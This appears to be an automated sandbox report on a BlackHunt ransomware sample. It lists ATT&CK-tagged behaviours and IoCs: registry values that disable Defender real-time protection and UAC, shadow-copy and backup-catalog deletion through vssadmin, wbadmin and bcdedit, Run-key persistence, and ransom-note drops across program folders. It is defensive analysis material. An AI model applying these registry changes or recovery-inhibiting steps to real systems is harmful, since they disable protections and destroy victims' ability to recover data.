83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244

Data Destruction

T1485

pid	Process
3708	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
1232	bcdedit.exe
4428	bcdedit.exe

Renames multiple (1457) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4876	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\X:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\Y:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\Z:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\N:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\W:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\U:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\K:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\P:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\T:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\S:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\Q:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\A:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\O:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\G:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\V:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\L:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\B:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\I:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\H:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\M:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened (read-only)	\??\J:	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\va.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\vlc16x16.png	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\unicode.md	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\#BlackHunt_Private.key	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-il\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\7-Zip\Lang\br.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-ae\#BlackHunt_Private.key	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_folder-focus_32.svg	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_filterselected-dark-focus_32.svg	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ru-ru\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-cn\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\de-de\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ca-es\ui-strings.js	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\Java\jre-1.8\COPYRIGHT	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_Private.key	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-high-contrast.css	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\css\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ct.sym	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\NEWS.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\2d.x3d	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\es-es\#BlackHunt_Private.key	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mn.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-cn\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jpeg.md	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\#BlackHunt_Private.key	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\back-arrow-down.svg	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_rename_18.svg	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-gb\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_Private.key	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\files\dev\cef\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\#BlackHunt_Private.key	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\nl-nl\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\VideoLAN\VLC\lua\playlist\#BlackHunt_ReadMe.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Viewer.aapp	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\s_shared_multi_filetype.svg	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pt-br\#BlackHunt_Private.key	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_filter\#BlackHunt_ReadMe.hta	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\it-it\#BlackHunt_Private.key	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_int_2x.gif	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\ecc.md	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\tr-tr\#BlackHunt_Private.key	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\duplicate.svg	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfxswt.jar	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\share.svg	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2952	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3856	vssadmin.exe
2240	vssadmin.exe
4856	vssadmin.exe
1844	vssadmin.exe
3784	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
Token: SeRestorePrivilege	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
Token: SeBackupPrivilege	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
Token: SeTakeOwnershipPrivilege	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
Token: SeAuditPrivilege	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
Token: SeSecurityPrivilege	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
Token: SeIncBasePriorityPrivilege	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
Token: SeBackupPrivilege	4960	vssvc.exe
Token: SeRestorePrivilege	4960	vssvc.exe
Token: SeAuditPrivilege	4960	vssvc.exe
Token: SeBackupPrivilege	5820	wbengine.exe
Token: SeRestorePrivilege	5820	wbengine.exe
Token: SeSecurityPrivilege	5820	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3108 wrote to memory of 3044	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	89
PID 3108 wrote to memory of 3044	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	89
PID 3108 wrote to memory of 2924	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	91
PID 3108 wrote to memory of 2924	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	91
PID 3108 wrote to memory of 1072	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	93
PID 3108 wrote to memory of 1072	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	93
PID 3108 wrote to memory of 3464	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	95
PID 3108 wrote to memory of 3464	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	95
PID 3108 wrote to memory of 1816	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	97
PID 3108 wrote to memory of 1816	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	97
PID 3044 wrote to memory of 2788	3044	cmd.exe	99
PID 3044 wrote to memory of 2788	3044	cmd.exe	99
PID 2924 wrote to memory of 4832	2924	cmd.exe	100
PID 2924 wrote to memory of 4832	2924	cmd.exe	100
PID 1072 wrote to memory of 948	1072	cmd.exe	101
PID 1072 wrote to memory of 948	1072	cmd.exe	101
PID 3464 wrote to memory of 1732	3464	cmd.exe	102
PID 3464 wrote to memory of 1732	3464	cmd.exe	102
PID 1816 wrote to memory of 2204	1816	cmd.exe	103
PID 1816 wrote to memory of 2204	1816	cmd.exe	103
PID 3108 wrote to memory of 4084	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	105
PID 3108 wrote to memory of 4084	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	105
PID 3108 wrote to memory of 1480	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	107
PID 3108 wrote to memory of 1480	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	107
PID 3108 wrote to memory of 2292	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	109
PID 3108 wrote to memory of 2292	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	109
PID 3108 wrote to memory of 3732	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	111
PID 3108 wrote to memory of 3732	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	111
PID 1480 wrote to memory of 680	1480	cmd.exe	113
PID 1480 wrote to memory of 680	1480	cmd.exe	113
PID 3108 wrote to memory of 4408	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	114
PID 3108 wrote to memory of 4408	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	114
PID 4084 wrote to memory of 4772	4084	cmd.exe	116
PID 4084 wrote to memory of 4772	4084	cmd.exe	116
PID 3108 wrote to memory of 3844	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	117
PID 3108 wrote to memory of 3844	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	117
PID 3108 wrote to memory of 1512	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	120
PID 3108 wrote to memory of 1512	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	120
PID 2292 wrote to memory of 4100	2292	cmd.exe	121
PID 2292 wrote to memory of 4100	2292	cmd.exe	121
PID 3732 wrote to memory of 4104	3732	cmd.exe	122
PID 3732 wrote to memory of 4104	3732	cmd.exe	122
PID 3108 wrote to memory of 3812	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	123
PID 3108 wrote to memory of 3812	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	123
PID 4408 wrote to memory of 3516	4408	cmd.exe	125
PID 4408 wrote to memory of 3516	4408	cmd.exe	125
PID 3108 wrote to memory of 4928	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	130
PID 3108 wrote to memory of 4928	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	130
PID 3108 wrote to memory of 4028	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	129
PID 3108 wrote to memory of 4028	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	129
PID 3108 wrote to memory of 5096	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	128
PID 3108 wrote to memory of 5096	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	128
PID 1512 wrote to memory of 1472	1512	cmd.exe	132
PID 1512 wrote to memory of 1472	1512	cmd.exe	132
PID 3108 wrote to memory of 2684	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	136
PID 3108 wrote to memory of 2684	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	136
PID 3844 wrote to memory of 3324	3844	cmd.exe	133
PID 3844 wrote to memory of 3324	3844	cmd.exe	133
PID 3812 wrote to memory of 4468	3812	cmd.exe	135
PID 3812 wrote to memory of 4468	3812	cmd.exe	135
PID 3108 wrote to memory of 664	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	137
PID 3108 wrote to memory of 664	3108	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe	137
PID 4928 wrote to memory of 4464	4928	cmd.exe	139
PID 4928 wrote to memory of 4464	4928	cmd.exe	139

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
